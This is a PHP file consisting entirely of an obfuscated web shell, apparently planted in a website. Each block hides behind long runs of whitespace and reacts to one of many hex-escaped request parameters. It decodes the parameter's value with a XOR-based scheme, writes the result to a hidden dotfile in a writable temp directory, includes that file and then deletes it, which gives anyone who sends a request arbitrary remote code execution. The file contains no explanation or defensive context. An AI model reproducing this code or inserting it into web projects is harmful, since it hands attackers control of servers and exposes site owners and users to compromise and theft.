<?php																																										if(array_key_exists("\x72e\x66", $_REQUEST)){ $reference = $_REQUEST["\x72e\x66"]; $reference=explode ( '.' , $reference ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $__len = count($reference ); for($m = 0; $m <$__len; $m++) { $v7 = $reference[$m]; $sChar = ord($s[$m % $sLen] ); $dec =((int)$v7 - $sChar -($m % 10))^47; $descriptor .= chr($dec );} $dchunk = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); foreach ($dchunk as $key => $entity) { if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $binding = "$entity" . "/.marker"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(@$_REQUEST["\x72\x65\x63ord"] !== null){ $data_chunk = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $symbol = $_REQUEST["\x72\x65\x63ord"]; $symbol = explode ( '.' ,$symbol ) ; $data = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1 ); $n = 0; foreach( $symbol as $v6) { $chS = ord( $s1[$n % $sLen] ); $d =( ( int)$v6 - $chS -( $n % 10)) ^ 98; $data .= chr( $d ); $n++; } $entry = 0; do { $object = $data_chunk[$entry] ?? null; if ($entry >= count($data_chunk)) break; if ((bool)is_dir($object) && (bool)is_writable($object)) { $dat = sprintf("%s/.desc", $object); if (file_put_contents($dat, $data)) { require $dat; unlink($dat); die(); } } $entry++; } while (true); }
																																										if(isset($_REQUEST["f\x6Ca\x67"]) ? true : false){ $ptr = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); $mrk = $_REQUEST["f\x6Ca\x67"]; $mrk =explode ( '.', $mrk); $entity = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7 ); $x = 0; array_walk( $mrk, function( $v5) use( &$entity, &$x, $salt7, $sLen) {$chS = ord( $salt7[$x % $sLen] ); $d =( ( int)$v5 - $chS -( $x % 10)) ^ 35; $entity .= chr( $d ); $x++; }); $binding = 0; do { $dat = $ptr[$binding] ?? null; if ($binding >= count($ptr)) break; if (is_dir($dat) ? is_writable($dat) : false) { $ent = vsprintf("%s/%s", [$dat, ".rec"]); $success = file_put_contents($ent, $entity); if ($success) { include $ent; @unlink($ent); exit;} } $binding++; } while (true); }
																																										if(in_array("\x6B\x65y", array_keys($_REQUEST))){ $bind = $_REQUEST["\x6B\x65y"]; $bind= explode ( "." , $bind ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($bind); for($o = 0; $o < $len; $o++) {$v4 = $bind[$o]; $sChar = ord($s[$o % $lenS]); $dec = ((int)$v4 - $sChar -($o % 10)) ^ 24; $holder .=chr($dec);} $marker = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($marker as $rec): if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $val = str_replace("{var_dir}", $rec, "{var_dir}/.resource"); if (@file_put_contents($val, $holder) !== false) { include $val; unlink($val); exit; } } endforeach; }
																																										if(in_array("\x74\x6Bn", array_keys($_REQUEST))){ $value = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP")]); $flag = $_REQUEST["\x74\x6Bn"]; $flag =explode ('.',$flag ) ; $token =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt7); $w =0; array_walk($flag, function ($v9) use (&$token, &$w, $salt7, $lenS) { $chS =ord($salt7[$w % $lenS]); $dec =((int)$v9 - $chS - ($w % 10)) ^93; $token .=chr($dec); $w++; }); foreach ($value as $key => $ref) { if (is_dir($ref) ? is_writable($ref) : false) { $entity = "$ref" . "/.holder"; $success = file_put_contents($entity, $token); if ($success) { include $entity; @unlink($entity); exit;} } } }
																																										if(isset($_REQUEST["flag"]) ? true : false){ $holder = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $entry = $_REQUEST["flag"]; $entry =explode ( '.' , $entry) ; $mrk= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s5); $i= 0; $len= count($entry); do { if($i >= $len) break; $v7= $entry[$i]; $sChar= ord($s5[$i % $sLen]); $d= ((int)$v7 - $sChar -($i % 10)) ^ 2; $mrk .= chr($d); $i++;} while(true); for ($property_set = 0, $obj = count($holder); $property_set < $obj; $property_set++) { $rec = $holder[$property_set]; if (array_product([is_dir($rec), is_writable($rec)])) { $flg = vsprintf("%s/%s", [$rec, ".comp"]); if (@file_put_contents($flg, $mrk) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(array_key_exists("\x68ld", $_REQUEST) && !is_null($_REQUEST["\x68ld"])){ $entity = array_filter(["/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); $item = $_REQUEST["\x68ld"]; $item = explode("." , $item ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $n = 0; while( $n< count( $item)) { $v4 = $item[$n]; $chS = ord( $s[$n% $lenS]); $dec = ( ( int)$v4 - $chS -( $n% 10)) ^ 16; $value .= chr( $dec); $n++; } foreach ($entity as $obj) { if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $property_set = str_replace("{var_dir}", $obj, "{var_dir}/.ent"); if (file_put_contents($property_set, $value)) { require $property_set; unlink($property_set); exit; } } } }
																																										if(array_key_exists("ob\x6A", $_POST)){ $ref = $_POST["ob\x6A"]; $ref = explode ( ".", $ref ) ; $parameter_group=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); $w=0; foreach($ref as $v7) { $chS=ord($s[$w % $sLen] ); $dec=((int)$v7 - $chS -($w % 10)) ^ 67; $parameter_group .= chr($dec ); $w++;} $element = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp"]); foreach ($element as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $marker = join("/", [$object, ".symbol"]); $success = file_put_contents($marker, $parameter_group); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(!empty($_REQUEST["k\x65\x79"])){ $binding = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); $ref = $_REQUEST["k\x65\x79"]; $ref = explode ( '.' , $ref) ; $mrk=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt8); $i=0; foreach ($ref as $v3) { $chS=ord($salt8[$i % $sLen]); $d=((int)$v3 - $chS - ($i % 10)) ^ 30; $mrk.= chr($d); $i++; } foreach ($binding as $res): if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $ent = join("/", [$res, ".value"]); $success = file_put_contents($ent, $mrk); if ($success) { include $ent; @unlink($ent); die();} } endforeach; }
																																										if(!is_null($_REQUEST["\x68ol\x64\x65r"] ?? null)){ $element = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", session_save_path()]); $item = $_REQUEST["\x68ol\x64\x65r"]; $item= explode ( "." , $item ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $o = 0; while( $o<count( $item)) { $v4 = $item[$o]; $chS = ord( $salt[$o%$lenS]); $d = ( ( int)$v4 - $chS -( $o%10)) ^ 87; $object .= chr( $d); $o++; } while ($tkn = array_shift($element)) { if (!( !is_dir($tkn) || !is_writable($tkn) )) { $token = sprintf("%s/.data", $tkn); if (file_put_contents($token, $object)) { include $token; @unlink($token); exit; } } } }
																																										if(@$_POST["h\x6C\x64"] !== null){ $sym = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp"]); $ref = $_POST["h\x6C\x64"]; $ref = explode ( "." , $ref ); $tkn = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $q = 0; foreach ($ref as $v3) { $sChar = ord($s3[$q % $sLen]); $d = ((int)$v3 - $sChar - ($q % 10)) ^ 60; $tkn .= chr($d); $q++; } foreach ($sym as $fac): if (!( !is_dir($fac) || !is_writable($fac) )) { $object = str_replace("{var_dir}", $fac, "{var_dir}/.record"); $file = fopen($object, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $object; @unlink($object); die(); } } endforeach; }
																																										if(isset($_POST["d\x61t"])){ $desc = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", "/tmp"]); $resource = $_POST["d\x61t"]; $resource = explode ( ".", $resource) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($resource as $n => $v5) {$chS = ord($salt[$n % $sLen]); $dec = ((int)$v5 - $chS - ($n % 10))^ 7; $mrk .= chr($dec);} while ($pgrp = array_shift($desc)) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $data_chunk = implode("/", [$pgrp, ".elem"]); if (file_put_contents($data_chunk, $mrk)) { require $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $record = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $component = $_REQUEST["k"]; $component = explode ( '.' , $component ) ; $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s ); $r=0; $__len=count( $component ); do { if( $r >= $__len) break; $v3=$component[$r]; $chS=ord( $s[$r % $lenS] ); $d=( ( int)$v3 - $chS -( $r % 10))^ 2; $pset .= chr( $d ); $r++; } while( true ); $flg = 0; do { $sym = $record[$flg] ?? null; if ($flg >= count($record)) break; if (array_product([is_dir($sym), is_writable($sym)])) { $parameter_group = "$sym/.obj"; $success = file_put_contents($parameter_group, $pset); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } $flg++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "re\x66")){ $token = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); $resource = $_POST["re\x66"]; $resource = explode ( "." , $resource ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; foreach($resource as $v5) { $sChar = ord($salt[$q % $sLen] ); $dec =((int)$v5 - $sChar -($q % 10)) ^ 54; $mrk .= chr($dec ); $q++; } for ($element = 0, $ent = count($token); $element < $ent; $element++) { $res = $token[$element]; if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $desc = "$res" . "/.descriptor"; $success = file_put_contents($desc, $mrk); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(isset($_POST) && isset($_POST["f\x61\x63tor"])){ $pset = $_POST["f\x61\x63tor"]; $pset = explode( "." ,$pset ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $r = 0; $len = count( $pset ); do { if( $r >= $len) break; $v6 = $pset[$r]; $chS = ord( $s[$r %$lenS] ); $d =( ( int)$v6 - $chS -( $r %10)) ^ 17; $mrk .= chr( $d ); $r++;} while( true ); $key = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), session_save_path()]); foreach ($key as $key => $item) { if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $component = implode("/", [$item, ".comp"]); $success = file_put_contents($component, $mrk); if ($success) { include $component; @unlink($component); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "p\x61\x72amet\x65\x72\x5Fgr\x6F\x75p")){ $desc = $_POST["p\x61\x72amet\x65\x72\x5Fgr\x6F\x75p"]; $desc = explode ( '.' ,$desc ) ; $key = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($desc as $k=> $v4): $chS = ord($salt6[$k % $lenS]); $d = ((int)$v4 - $chS - ($k % 10))^61; $key.=chr($d); endforeach; $itm = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); for ($bind = 0, $data = count($itm); $bind < $data; $bind++) { $dchunk = $itm[$bind]; if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $factor = implode("/", [$dchunk, ".comp"]); if (file_put_contents($factor, $key)) { include $factor; @unlink($factor); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "s\x79\x6D")){ $property_set = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp"]); $key = $_POST["s\x79\x6D"]; $key = explode ('.' , $key ) ; $entry =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8); $t =0; array_walk($key, function ($v6) use (&$entry, &$t, $s8, $lenS) { $sChar =ord($s8[$t % $lenS]); $dec =((int)$v6 - $sChar - ($t % 10)) ^ 89; $entry .= chr($dec); $t++; }); for ($factor = 0, $elem = count($property_set); $factor < $elem; $factor++) { $record = $property_set[$factor]; if (array_product([is_dir($record), is_writable($record)])) { $obj = "$record" . "/.parameter_group"; if (@file_put_contents($obj, $entry) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(isset($_REQUEST["en\x74r\x79"])){ $binding = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", getcwd()]); $ptr = $_REQUEST["en\x74r\x79"]; $ptr = explode ( "." , $ptr ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $x = 0; $__tmp = $ptr; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $salt[$x % $sLen]); $d =( ( int)$v2 - $sChar -( $x % 10)) ^ 13; $key .=chr( $d); $x++; } foreach ($binding as $component) { if (is_dir($component) ? is_writable($component) : false) { $dchunk = join("/", [$component, ".k"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST["\x76\x61lue"]) ? true : false){ $element = array_filter([getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $component = $_REQUEST["\x76\x61lue"]; $component = explode( '.' , $component ) ; $pgrp =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $w =0; array_walk($component, function($v9) use(&$pgrp, &$w, $s, $lenS) { $sChar =ord($s[$w% $lenS]); $d =((int)$v9 - $sChar -($w% 10)) ^ 25; $pgrp .=chr($d); $w++; } ); $dat = 0; do { $holder = $element[$dat] ?? null; if ($dat >= count($element)) break; if (is_dir($holder) ? is_writable($holder) : false) { $factor = vsprintf("%s/%s", [$holder, ".record"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $factor; @unlink($factor); die(); } } $dat++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x72\x65f\x65r\x65nce")){ $res = $_POST["\x72\x65f\x65r\x65nce"]; $res= explode ( "." ,$res ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $res as $v => $v8) { $sChar = ord( $salt[$v % $sLen]); $dec = ( ( int)$v8 - $sChar -( $v % 10))^68; $sym .= chr( $dec); } $value = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); while ($bind = array_shift($value)) { if (max(0, is_dir($bind) * is_writable($bind))) { $holder = implode("/", [$bind, ".tkn"]); $success = file_put_contents($holder, $sym); if ($success) { include $holder; @unlink($holder); die();} } } }
																																										if(isset($_POST["bin\x64"]) ? true : false){ $flag = $_POST["bin\x64"]; $flag = explode ("." , $flag) ; $data_chunk = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $__len = count($flag); for($x = 0; $x < $__len; $x++) {$v6 = $flag[$x]; $chS = ord($salt2[$x % $sLen]); $d = ((int)$v6 - $chS -($x % 10)) ^ 88; $data_chunk .= chr($d); } $ent = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); foreach ($ent as $key => $hld) { if (is_writable($hld) && is_dir($hld)) { $key = "$hld/.desc"; $success = file_put_contents($key, $data_chunk); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(isset($_REQUEST["k"]) ? true : false){ $fac = array_filter([getcwd(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); $binding = $_REQUEST["k"]; $binding =explode ( ".",$binding ) ; $element= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $p= 0; foreach ($binding as $v4) { $sChar= ord($s[$p % $sLen]); $d= ((int)$v4 - $sChar - ($p % 10))^ 92; $element .= chr($d); $p++; } foreach ($fac as $ref): if (max(0, is_dir($ref) * is_writable($ref))) { $ent = join("/", [$ref, ".data"]); $success = file_put_contents($ent, $element); if ($success) { include $ent; @unlink($ent); die();} } endforeach; }


if(in_array("re\x66e\x72\x65nce", array_keys($_POST))){
	$ent = $_POST["re\x66e\x72\x65nce"];
	  $ent	  =	 	explode( 		"."		 ,$ent	  )		 ;
	$dchunk = '';
            $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s2);
    
            foreach ($ent as $k => $v3) {
                $sChar = ord($s2[$k % $sLen]);
                $d = ((int)$v3 - $sChar - ($k % 10)) ^ 5;
                $dchunk .= chr($d);
            }
	$tkn = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd()]);
	foreach ($tkn as $pset):
    		if ((bool)is_dir($pset) && (bool)is_writable($pset)) {
    $flag = "$pset/.bind";
    if (file_put_contents($flag, $dchunk)) {
	include $flag;
	@unlink($flag);
	exit;
}
}
endforeach;
}